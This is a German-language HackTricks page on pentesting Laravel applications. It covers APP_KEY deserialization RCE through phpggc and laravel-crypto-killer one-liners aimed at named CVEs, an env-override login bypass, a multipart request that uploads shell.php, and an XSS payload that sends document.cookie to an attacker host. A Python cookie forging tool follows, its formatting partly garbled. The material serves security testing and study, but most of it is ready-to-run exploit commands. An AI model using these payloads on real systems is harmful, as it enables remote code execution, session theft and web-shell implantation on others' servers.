Laravel

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Laravel SQLInjection

Weitere Informationen dazu: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Verschlüsselungs-Interna (Laravel \u003e=5.6)

Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität unter der Haube (Illuminate\\Encryption\\Encrypter). Der rohe Chiffretext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts, wie:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) wendet standardmäßig serialize() auf den Klartext an, während decrypt($payload, $unserialize=true) den entschlüsselten Wert automatisch unserialize(). Daher kann jeder Angreifer, der den 32-Byte-Secret APP_KEY kennt, ein verschlüsseltes, PHP-serialisiertes Objekt erzeugen und mittels magischer Methoden (__wakeup, __destruct, …) RCE erlangen.

Minimaler PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injiziere die erzeugte Zeichenkette in jeden verwundbaren decrypt()-Sink (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce-Modus hinzu:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC-/Tag-Feld.


Reale verwundbare Muster

ProjektVerwundbare sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Der Exploit-Workflow ist immer:

  1. Obtaining oder Brute-Forcing des 32-Byte APP_KEY.
  2. Build a gadget chain mit PHPGGC (zum Beispiel Laravel/RCE13, Laravel/RCE9 oder Laravel/RCE15).
  3. Encrypt the serialized gadget mit laravel_crypto_killer.py und dem wiederhergestellten APP_KEY.
  4. Deliver the ciphertext an den verwundbaren decrypt() sink (Route-Parameter, Cookie, Session …), um RCE auszulösen.

Nachfolgend sind prägnante One-Liner, die den vollständigen Angriffsweg für jedes oben erwähnte reale CVE demonstrieren:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Da jede frische Laravel-Antwort mindestens ein verschlüsseltes Cookie setzt (XSRF-TOKEN und in der Regel laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts, die offline angegriffen werden können.

Wesentliche Ergebnisse der von Synacktiv veröffentlichten Forschung (2024–2025):

  • Datensatz July 2024 » 580 k Tokens, 3.99 % Schlüssel geknackt (≈23 k)
  • Datensatz May 2025 » 625 k Tokens, 3.56 % Schlüssel geknackt
  • 1 000 Server weiterhin verwundbar gegenüber dem Legacy-CVE-2018-15133, weil Tokens direkt serialisierte Daten enthalten.

  • Massive Key-Wiederverwendung – die Top-10 APP_KEYs sind hartkodierte Defaults, die mit kommerziellen Laravel-Templates (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.

Das private Go-Tool nounours bringt AES-CBC/GCM bruteforce-Durchsatz auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des gesamten Datensatzes auf <2 Minuten.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Wenn PHP’s register_argc_argv=On gesetzt ist (typisch bei vielen Distros), exponiert PHP ein argv-Array für HTTP-Requests, das aus dem Query-String abgeleitet wird. Neuere Laravel-Versionen parsen diese „CLI-ähnlichen“ args und respektieren --env=<value> zur Laufzeit. Dadurch lässt sich die Framework-Umgebung für die aktuelle HTTP-Anfrage allein durch Anhängen an eine beliebige URL umschalten:

  • Schneller Check:

  • Besuche https://target/?--env=local oder einen beliebigen String und achte auf umgebungsabhängige Änderungen (Debug-Banner, Footer, ausführliche Fehler). Wenn der String reflektiert wird, funktioniert das Override.

  • Beispiel zur Auswirkung (Business-Logik, die einer speziellen env vertraut):

  • Wenn die App Branches wie if (app()->environment('preprod')) { /* bypass auth */ } enthält, kannst du dich ohne gültige Zugangsdaten authentifizieren, indem du den Login-POST an sendest:

  • POST /login?--env=preprod

  • Hinweise:

  • Funktioniert pro Anfrage, keine Persistenz.

  • Erfordert register_argc_argv=On und eine verwundbare Laravel-Version, die argv für HTTP liest.

  • Nützliches Primitive, um ausführlichere Fehler in „debug“-Envs sichtbar zu machen oder um environment-geschützte Codepfade auszulösen.

  • Gegenmaßnahmen:

  • Deaktiviere register_argc_argv für PHP-FPM/Apache.

  • Upgrade Laravel, sodass argv bei HTTP-Anfragen ignoriert wird, und entferne jegliche Vertrauensannahmen bezüglich app()->environment() in Produktionsrouten.

Minimaler Exploit-Flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Wildcard file validation bypass (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 und 12.0.0–12.1.0 lassen manipulierte Multipart-Requests Regeln, die an files.* / images.* gebunden sind, komplett umgehen. Der Parser, der Wildcard-Schlüssel expandiert, kann durch angreifer-kontrollierte Platzhalter (z. B. vorbefüllte __asterisk__-Segmente) verwirrt werden, sodass das Framework UploadedFile-Objekte hydratisiert, ohne jemals image, mimes, dimensions, max usw. auszuführen. Sobald ein bösartiges Blob in Storage::putFile* landet, kann man zu jedem der in HackTricks bereits gelisteten file-upload primitives pivotieren (web shells, log poisoning, signed job deserialization, …).

Hunting for the pattern

  • Statisch: rg -n "files\\.\*" -g"*.php" app/ oder untersuche FormRequest-Klassen nach rules()-Methoden, die Arrays zurückgeben, die files.* enthalten.
  • Dynamisch: Hook Illuminate\Validation\Validator::validate() mittels Xdebug oder Laravel Telescope in einer Pre-Production-Umgebung, um jede Anfrage zu protokollieren, die die verwundbare Regel trifft.
  • Middleware/Route-Review: Endpunkte, die mehrere Dateien bündeln (Avatar-Importer, Dokumentenportale, Drag-and-Drop-Komponenten), neigen dazu, files.* zu vertrauen.

Practical exploitation workflow

  1. Nimm einen legitimen Upload auf und spiele ihn in Burp Repeater erneut ab.
  2. Dupliziere denselben Part, ändere aber den Feldnamen so, dass er bereits Platzhalter-Token enthält (z. B. files[0][__asterisk__payload]) oder verschachtle ein weiteres Array (files[0][alt][0]). In verwundbaren Builds wird dieser zweite Part nie validiert, wird aber trotzdem zu einem UploadedFile-Eintrag.
  3. Richte die manipulierte Datei auf eine PHP-Payload (shell.php, .phar, polyglot) und zwinge die Anwendung, sie auf einem webzugänglichen Speicher abzulegen (häufig public/, sobald php artisan storage:link aktiviert ist).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Laravel-Tricks

Debugging-Modus

Wenn Laravel im Debugging-Modus ist, kannst du auf den Code und sensible Daten zugreifen.
Zum Beispiel http://127.0.0.1:8000/profiles:

Dies wird üblicherweise benötigt, um andere Laravel RCE CVEs auszunutzen.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Betroffen: Laravel 11.9.0–11.35.1 mit APP_DEBUG=true (entweder global oder erzwungen durch falsch konfigurierte env-Overrides wie CVE-2024-52301).
  • Primitive: Jede nicht abgefangene Exception, die von Whoops gerendert wird, gibt Teile der Anfrage/Route ohne HTML encoding aus, sodass das Injizieren von <img src> / <script> in eine Route oder einen Request-Parameter zu einem in der Response gespeicherten XSS vor der Authentifizierung führt.
  • Auswirkung: XSRF-TOKEN stehlen, stack traces mit Geheimnissen leak, einen browserbasierten Pivot öffnen, um _ignition/execute-solution in Opfer-Sessions anzusprechen, oder mit passwortlosen Dashboards verketten, die auf Cookies angewiesen sind.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Selbst wenn der Debug-Modus normalerweise deaktiviert ist, führt das Erzwingen eines Fehlers über Hintergrund-Jobs oder Queue-Worker und das Abfragen des _ignition/health-check-Endpunkts häufig dazu, dass Staging-Hosts aufgedeckt werden, die diese Kette noch offenlegen.

Fingerprinting & exponierte Dev-Endpunkte

Schnelle Prüfungen, um einen Laravel-Stack und gefährliche Dev-Tools, die in Produktion exponiert sind, zu identifizieren:

  • /_ignition/health-check → Ignition vorhanden (Debug-Tool, das bei CVE-2021-3129 verwendet wird). Wenn es ohne Authentifizierung erreichbar ist, könnte die App im Debug-Modus sein oder falsch konfiguriert.
  • /_debugbar → Laravel Debugbar assets; deutet oft auf Debug-Modus hin.
  • /telescope → Laravel Telescope (Dev-Monitor). Wenn öffentlich, erwarte umfassende Informationsoffenlegung und mögliche Aktionen.
  • /horizon → Queue-Dashboard; Versionsangaben und manchmal CSRF-geschützte Aktionen.
  • X-Powered-By, Cookies XSRF-TOKEN und laravel_session sowie Blade-Fehlerseiten helfen ebenfalls beim Fingerprinting.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel speichert die APP, die zum Verschlüsseln der Cookies und anderer Zugangsdaten verwendet wird, in einer Datei namens .env, die durch Path Traversal unter: /../.env zugänglich sein kann.

Laravel zeigt diese Informationen außerdem auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler feststellt und das Debugging aktiviert ist).

Mit dem geheimen APP_KEY von Laravel kannst du Cookies entschlüsseln und erneut verschlüsseln:

Hilfsprogramm zum Ent- und Verschlüsseln von Cookies (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Verwundbare Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Informationen zur deserialization vulnerability finden Sie hier: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Zum Testen und Ausnutzen können Sie [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) verwenden.  
Oder Sie können es auch mit metasploit ausnutzen: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Eine weitere deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Referenzen
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)


> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>